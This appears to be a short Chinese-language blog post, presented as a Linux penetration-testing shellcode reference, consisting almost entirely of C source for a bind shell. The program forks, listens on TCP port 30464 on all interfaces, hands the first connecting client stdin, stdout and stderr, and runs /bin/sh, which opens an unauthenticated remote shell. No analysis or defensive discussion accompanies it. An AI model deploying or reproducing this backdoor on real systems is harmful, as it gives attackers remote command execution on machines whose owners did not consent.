网络攻防之——Linux系统渗透测试ShellCode参考

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include<unistd.h>
#include<sys/socket.h>
#include<netinet/in.h>

int soc,cli,soc_len;
struct sockaddr_in serv_addr;
struct sockaddr_in cli_addr;

int main()
{
if(fork()==0)
{
serv_addr.sin_family=AF_INET;
serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
serv_addr.sin_port=htons(30464);
soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
bind(soc,(struct sockaddr *)&serv_addr,sizeof(serv_addr));
listen(soc,1);
soc_len=sizeof(cli_addr);
cli=accept(soc,(struct sockaddr *)&cli_addr,&soc_len);
dup2(cli,0);
dup2(cli,1);
dup2(cli,2);
execl("/bin/sh","sh",0);
}
}